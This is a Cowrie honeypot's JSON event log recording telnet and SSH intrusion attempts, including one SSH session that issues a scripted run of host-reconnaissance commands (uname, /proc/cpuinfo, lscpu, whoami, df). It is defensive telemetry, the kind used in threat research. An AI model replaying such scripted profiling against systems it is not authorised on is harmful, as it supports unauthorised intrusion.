{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:48.884487Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:48.888430Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.78161311149597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:49.057358Z","src_ip":"136.244.67.81","session":"1c69d459d018","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:49.086183Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":49112,"dst_ip":"10.17.0.5","dst_port":23,"session":"4818beb0b855","protocol":"telnet","message":"New connection: 85.190.254.94:49112 (10.17.0.5:23) [session: 4818beb0b855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:49.111555Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:49.513276Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:49.517382Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":52766,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb8ef6f96acd","protocol":"telnet","message":"New connection: 62.77.140.101:52766 (159.203.135.109:23) [session: cb8ef6f96acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:49.682519Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:49.716009Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.0074405670166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:50.053526Z","src_ip":"107.152.33.170","session":"00fe9a30205b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.85309100151062,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:50.076707Z","src_ip":"77.72.5.107","session":"52d4d0ffb962","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:50.153066Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:50.156285Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.83155608177185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:50.163319Z","src_ip":"136.244.67.81","session":"f41e5cf80a2d","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:50.353891Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:50.783936Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:50.787682Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":55646,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b4e1a306f8d","protocol":"telnet","message":"New connection: 107.152.33.170:55646 (159.203.135.109:23) [session: 0b4e1a306f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:50.800793Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:50.984456Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:51.416377Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:51.419928Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":49500,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9f2dd64a6bc","protocol":"telnet","message":"New connection: 77.72.5.107:49500 (159.203.135.109:23) [session: c9f2dd64a6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:51.428054Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:51.618690Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:52.046730Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:52.050565Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":40036,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed353c854245","protocol":"telnet","message":"New connection: 138.197.5.236:40036 (159.203.135.109:23) [session: ed353c854245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:52.192880Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:52.248808Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":52768,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f07dddf27ed","protocol":"telnet","message":"New connection: 62.77.140.101:52768 (159.203.135.109:23) [session: 5f07dddf27ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:52.406111Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:52.682518Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:52.685999Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:52.883560Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":41062,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cb41fd03085","protocol":"telnet","message":"New connection: 138.197.5.236:41062 (159.203.135.109:23) [session: 2cb41fd03085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:52.964479Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":49026,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff5e7c90c4bf","protocol":"telnet","message":"New connection: 136.244.67.81:49026 (159.203.135.109:23) [session: ff5e7c90c4bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:53.026603Z"}
{"eventid":"cowrie.session.closed","duration":30.477712154388428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:53.063903Z","src_ip":"138.197.5.236","session":"9f7ddb5e1330","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81938338279724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:53.096454Z","src_ip":"77.72.5.107","session":"21d548bdc544","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":41200,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbd9336343b6","protocol":"telnet","message":"New connection: 138.197.5.236:41200 (159.203.135.109:23) [session: fbd9336343b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:53.231782Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:53.333374Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:53.336850Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:53.534497Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.1","message":"Connection lost after 17.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:53.539510Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.255228996276855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:53.775241Z","src_ip":"85.190.254.94","session":"546fc3ee328c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99379324913025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:53.788927Z","src_ip":"138.197.5.236","session":"71514b268191","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.60825514793396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:53.947996Z","src_ip":"62.77.140.101","session":"69c585a16f3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.903583526611328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:55.095472Z","src_ip":"85.190.254.94","session":"5ef150ee22f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":42960,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e66d2d24194","protocol":"telnet","message":"New connection: 138.197.5.236:42960 (159.203.135.109:23) [session: 3e66d2d24194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:55.110704Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":53794,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d252e4225a4","protocol":"telnet","message":"New connection: 167.71.198.239:53794 (159.203.135.109:23) [session: 0d252e4225a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:55.604863Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":51488,"dst_ip":"159.203.135.109","dst_port":23,"session":"551703dbeff9","protocol":"telnet","message":"New connection: 77.72.5.107:51488 (159.203.135.109:23) [session: 551703dbeff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:55.855965Z"}
{"eventid":"cowrie.session.closed","duration":30.77196979522705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:56.065882Z","src_ip":"62.77.140.101","session":"e50223353547","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":51808,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fece2946391","protocol":"telnet","message":"New connection: 77.72.5.107:51808 (159.203.135.109:23) [session: 7fece2946391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:56.524211Z"}
{"eventid":"cowrie.session.closed","duration":31.055110931396484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:57.269838Z","src_ip":"77.72.5.107","session":"e3b5a68a763a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.092824459075928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:58.036086Z","src_ip":"138.197.5.236","session":"091ddbd8828e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7066433429718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:58.094076Z","src_ip":"85.190.254.94","session":"b0538cc7fd4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":49712,"dst_ip":"159.203.135.109","dst_port":23,"session":"37c5907146a7","protocol":"telnet","message":"New connection: 107.152.33.170:49712 (159.203.135.109:23) [session: 37c5907146a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:58.161455Z"}
{"eventid":"cowrie.session.closed","duration":30.839578866958618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:58.175570Z","src_ip":"107.152.33.170","session":"4b81c9772083","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":52174,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0aef78e5b84","protocol":"telnet","message":"New connection: 77.72.5.107:52174 (159.203.135.109:23) [session: e0aef78e5b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:58.478481Z"}
{"eventid":"cowrie.session.closed","duration":30.61708164215088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:59.180495Z","src_ip":"62.77.140.101","session":"795b1ec6f281","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829474925994873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:59.286112Z","src_ip":"85.190.254.94","session":"1dc63e229548","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":44114,"dst_ip":"159.203.135.109","dst_port":23,"session":"f09da5638095","protocol":"telnet","message":"New connection: 138.197.5.236:44114 (159.203.135.109:23) [session: f09da5638095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:59.397619Z"}
{"eventid":"cowrie.session.closed","duration":30.346725463867188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:00.101365Z","src_ip":"107.152.33.170","session":"3766bb06cb27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.552844762802124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:00.422293Z","src_ip":"77.72.5.107","session":"9243b37a1978","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":49724,"dst_ip":"159.203.135.109","dst_port":23,"session":"143789cd8e3a","protocol":"telnet","message":"New connection: 107.152.33.170:49724 (159.203.135.109:23) [session: 143789cd8e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:00.701498Z"}
{"eventid":"cowrie.session.closed","duration":30.99418306350708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:00.772441Z","src_ip":"167.71.198.239","session":"bec0ae2acc04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.837934017181396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:01.076211Z","src_ip":"85.190.254.94","session":"5d79e3af3044","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06443190574646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:01.296337Z","src_ip":"167.71.198.239","session":"36dcbbedcdc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9217312335968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:01.524721Z","src_ip":"77.72.5.107","session":"6f3da0fe4894","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":48938,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ec720cea294","protocol":"telnet","message":"New connection: 62.77.140.101:48938 (159.203.135.109:23) [session: 0ec720cea294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:01.794022Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":49242,"dst_ip":"159.203.135.109","dst_port":23,"session":"2655d39e7d4c","protocol":"telnet","message":"New connection: 138.197.5.236:49242 (159.203.135.109:23) [session: 2655d39e7d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:02.353729Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":49732,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bb3e751f28e","protocol":"telnet","message":"New connection: 107.152.33.170:49732 (159.203.135.109:23) [session: 9bb3e751f28e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:02.582835Z"}
{"eventid":"cowrie.session.closed","duration":30.566622495651245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:03.206271Z","src_ip":"77.72.5.107","session":"3cd00237d19c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.221111297607422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:03.223979Z","src_ip":"62.77.140.101","session":"f1a809b8d209","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":54616,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae375607dd0f","protocol":"telnet","message":"New connection: 77.72.5.107:54616 (159.203.135.109:23) [session: ae375607dd0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:03.333467Z"}
{"eventid":"cowrie.session.closed","duration":30.648563623428345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:04.588421Z","src_ip":"77.72.5.107","session":"9913ee7b5937","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":48948,"dst_ip":"159.203.135.109","dst_port":23,"session":"93e20e313eb2","protocol":"telnet","message":"New connection: 62.77.140.101:48948 (159.203.135.109:23) [session: 93e20e313eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:04.663743Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":53232,"dst_ip":"159.203.135.109","dst_port":23,"session":"c40f2dddfe18","protocol":"telnet","message":"New connection: 138.197.5.236:53232 (159.203.135.109:23) [session: c40f2dddfe18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:04.841015Z"}
{"eventid":"cowrie.session.closed","duration":30.360371351242065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:05.044423Z","src_ip":"77.72.5.107","session":"014765dc9329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78064727783203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:05.087498Z","src_ip":"62.77.140.101","session":"c8e0a5cbcc09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":41790,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b019ebfabb3","protocol":"telnet","message":"New connection: 107.152.33.170:41790 (159.203.135.109:23) [session: 5b019ebfabb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:05.121232Z"}
{"eventid":"cowrie.session.closed","duration":30.999919414520264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:06:07.108333Z","src_ip":"62.77.140.101","session":"9f0b6cd36fb7","protocol":"telnet"}
